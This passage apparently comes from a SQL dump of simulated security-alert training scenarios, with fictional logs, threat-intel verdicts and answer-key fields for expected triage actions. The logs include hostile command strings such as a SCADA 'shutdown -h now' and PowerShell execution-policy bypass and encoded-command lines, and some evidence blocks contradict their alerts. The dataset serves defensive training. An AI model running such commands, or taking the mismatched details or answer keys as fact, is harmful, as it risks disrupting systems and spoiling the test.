detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:12Z\\\",\\\"system_id\\\":\\\"SCADA-CTRL-01\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"unauthorized_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.20\\\",\\\"command_executed\\\":\\\"shutdown -h now\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.875Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:12Z\\\",\\\"system_id\\\":\\\"SCADA-CTRL-01\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"unauthorized_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.20\\\",\\\"command_executed\\\":\\\"shutdown -h now\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.875Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:12Z\\\",\\\"system_id\\\":\\\"SCADA-CTRL-01\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"unauthorized_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.20\\\",\\\"command_executed\\\":\\\"shutdown -h now\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.875Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:12Z\\\",\\\"system_id\\\":\\\"SCADA-CTRL-01\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"unauthorized_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.20\\\",\\\"command_executed\\\":\\\"shutdown -h now\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.875Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:12Z\\\",\\\"system_id\\\":\\\"SCADA-CTRL-01\\\",\\\"event_type\\\":\\\"command_execution\\\",\\\"user\\\":\\\"unauthorized_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"10.0.0.20\\\",\\\"command_executed\\\":\\\"shutdown -h now\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_script.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(273, 'Malware Detected: Suspicious Process Execution on Host', 'high', 'CrowdStrike', 'A suspicious process \'malware.exe\' was executed on the host \'INTERNAL-PC01\' originating from an external IP known for malicious activity. The hash of the file matches a known malware sample.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-11T14:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC01\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"malware.exe\"}', '2025-12-31 13:30:07', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample \'Trojan.Generic\'\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The alert is a true positive as the process executed matches a known malware signature and originates from a malicious IP. Immediate action is required to contain the threat.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(274, 'Phishing Attempt via Weaponized Job Offers', 'medium', 'Email Gateway', 'The Lazarus Group has sent a phishing email to a developer at the company, masquerading as a recruiter with a lucrative job offer. The email contains a malicious attachment designed to harvest credentials.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'Closed', 34, '{\"timestamp\":\"2023-09-25T13:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"email_from\":\"recruiter@example.com\",\"email_to\":\"dev.user@company.com\",\"subject\":\"Exciting Job Opportunity!\",\"attachment_name\":\"JobOffer.docm\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"action\":\"Email Received\"}', '2025-12-31 13:43:07', '2026-02-18 07:29:01', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"recruiter@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Email domain has been reported in phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"JobOffer.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Document contains macros used for credential harvesting\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash for malicious document containing macros\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt via Weaponized Job Offers\",\"date\":\"2026-02-01T20:32:18.878Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(275, 'Malicious Code Execution on Developer Systems', 'high', 'EDR', 'Malicious code executed on developer systems following a successful phishing attack, providing attackers access to the DeFi platform\'s development environment.', 'Malware', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-11T14:22:35Z\",\"event_id\":\"4567\",\"event_type\":\"process_creation\",\"user\":\"dev_user01\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"additional_info\":{\"file_path\":\"C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\"}}', '2025-12-31 13:43:07', '2026-02-18 07:29:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"dev_user01\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account on the development system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the developer\'s machine.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous cyber attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"PowerShell script used to execute malicious commands.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(276, 'Establishing Persistence and Lateral Movement', 'high', 'Network Traffic Analysis', 'Attackers are using compromised credentials to move laterally within the DeFi platform\'s network, aiming to escalate privileges and maintain access across critical systems.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"10.0.0.5\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"method\":\"SMB\",\"file_transferred\":\"persistence_tool.exe\",\"hash\":\"3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\",\"action\":\"Successful Authentication\",\"protocol\":\"SMB\",\"severity\":\"High\"}', '2025-12-31 13:43:07', '2026-02-18 07:30:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with lateral movement activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Critical system targeted for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"External IP known for malicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal user database\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for unauthorized access.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"persistence_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware analysis\",\"verdict\":\"malicious\",\"details\":\"File used for establishing persistence within the network.\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash lookup\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(277, 'Cryptocurrency Exfiltration and Laundering', 'critical', 'Blockchain Analysis', 'The operation culminates in the transfer of $600 million worth of cryptocurrency from the DeFi platform’s wallets. The attackers employ mixer services to launder the funds, making tracking and recovery efforts challenging.', 'Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-15T03:45:30Z\",\"event_id\":\"evt-2023-cryptoxfil-004\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.5\",\"transaction_id\":\"0x9f1b3e91e7b8f3c4c9f1a4a3d9b7b0d6\",\"transfer_amount\":\"600000000\",\"currency\":\"USD\",\"destination_address\":\"1MixerServiceX1yZ3w4V5\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"attacker@malicious.com\",\"filename\":\"exfil_transaction_details.csv\"}', '2025-12-31 13:43:07', '2026-02-18 07:31:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known cybercrime activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Blockchain Explorer\",\"verdict\":\"malicious\",\"details\":\"Hash used in fraudulent transaction.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"attacker@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Email linked to multiple phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"exfil_transaction_details.csv\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Filename indicates potential data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.881Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"evt-2023-cryptoxfil-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"transaction_id\\\":\\\"0x9f1b3e91e7b8f3c4c9f1a4a3d9b7b0d6\\\",\\\"transfer_amount\\\":\\\"600000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_address\\\":\\\"1MixerServiceX1yZ3w4V5\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"attacker@malicious.com\\\",\\\"filename\\\":\\\"exfil_transaction_details.csv\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.881Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"evt-2023-cryptoxfil-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"transaction_id\\\":\\\"0x9f1b3e91e7b8f3c4c9f1a4a3d9b7b0d6\\\",\\\"transfer_amount\\\":\\\"600000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_address\\\":\\\"1MixerServiceX1yZ3w4V5\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"attacker@malicious.com\\\",\\\"filename\\\":\\\"exfil_transaction_details.csv\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.881Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"evt-2023-cryptoxfil-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"transaction_id\\\":\\\"0x9f1b3e91e7b8f3c4c9f1a4a3d9b7b0d6\\\",\\\"transfer_amount\\\":\\\"600000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_address\\\":\\\"1MixerServiceX1yZ3w4V5\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"attacker@malicious.com\\\",\\\"filename\\\":\\\"exfil_transaction_details.csv\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.881Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"evt-2023-cryptoxfil-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"transaction_id\\\":\\\"0x9f1b3e91e7b8f3c4c9f1a4a3d9b7b0d6\\\",\\\"transfer_amount\\\":\\\"600000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_address\\\":\\\"1MixerServiceX1yZ3w4V5\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"attacker@malicious.com\\\",\\\"filename\\\":\\\"exfil_transaction_details.csv\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.881Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"evt-2023-cryptoxfil-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"transaction_id\\\":\\\"0x9f1b3e91e7b8f3c4c9f1a4a3d9b7b0d6\\\",\\\"transfer_amount\\\":\\\"600000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_address\\\":\\\"1MixerServiceX1yZ3w4V5\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"attacker@malicious.com\\\",\\\"filename\\\":\\\"exfil_transaction_details.csv\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(278, 'Compromised Update Detected', 'high', 'Software Update Logs', 'A malicious DLL was detected within a signed update package of the server management software. The package was distributed to users, potentially granting attackers initial access.', 'Malware', 'T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-14T12:34:56Z\",\"event_id\":\"update_12345\",\"update_source\":\"server_mgmt_software\",\"update_version\":\"v3.2.1\",\"affected_component\":\"lib_mgmt.dll\",\"malicious_hash\":\"e5d8870e5bdd26602c622b7e5b0f6b4c\",\"signed_cert\":\"CN=ServerMgmt, O=TrustedSoftware Inc.\",\"source_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.45\",\"user\":\"admin_user\",\"filename\":\"lib_mgmt.dll\"}', '2025-12-31 13:45:44', '2026-02-18 07:33:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e5d8870e5bdd26602c622b7e5b0f6b4c\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of a malware distribution campaign.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"lib_mgmt.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Software Repository\",\"verdict\":\"internal\",\"details\":\"Filename matches legitimate component, but altered.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Authorized user for software management.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.882Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T12:34:56Z\\\",\\\"event_id\\\":\\\"update_12345\\\",\\\"update_source\\\":\\\"server_mgmt_software\\\",\\\"update_version\\\":\\\"v3.2.1\\\",\\\"affected_component\\\":\\\"lib_mgmt.dll\\\",\\\"malicious_hash\\\":\\\"e5d8870e5bdd26602c622b7e5b0f6b4c\\\",\\\"signed_cert\\\":\\\"CN=ServerMgmt, O=TrustedSoftware Inc.\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"lib_mgmt.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.882Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T12:34:56Z\\\",\\\"event_id\\\":\\\"update_12345\\\",\\\"update_source\\\":\\\"server_mgmt_software\\\",\\\"update_version\\\":\\\"v3.2.1\\\",\\\"affected_component\\\":\\\"lib_mgmt.dll\\\",\\\"malicious_hash\\\":\\\"e5d8870e5bdd26602c622b7e5b0f6b4c\\\",\\\"signed_cert\\\":\\\"CN=ServerMgmt, O=TrustedSoftware Inc.\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"lib_mgmt.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.882Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T12:34:56Z\\\",\\\"event_id\\\":\\\"update_12345\\\",\\\"update_source\\\":\\\"server_mgmt_software\\\",\\\"update_version\\\":\\\"v3.2.1\\\",\\\"affected_component\\\":\\\"lib_mgmt.dll\\\",\\\"malicious_hash\\\":\\\"e5d8870e5bdd26602c622b7e5b0f6b4c\\\",\\\"signed_cert\\\":\\\"CN=ServerMgmt, O=TrustedSoftware Inc.\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"lib_mgmt.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.882Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T12:34:56Z\\\",\\\"event_id\\\":\\\"update_12345\\\",\\\"update_source\\\":\\\"server_mgmt_software\\\",\\\"update_version\\\":\\\"v3.2.1\\\",\\\"affected_component\\\":\\\"lib_mgmt.dll\\\",\\\"malicious_hash\\\":\\\"e5d8870e5bdd26602c622b7e5b0f6b4c\\\",\\\"signed_cert\\\":\\\"CN=ServerMgmt, O=TrustedSoftware Inc.\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"lib_mgmt.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.882Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 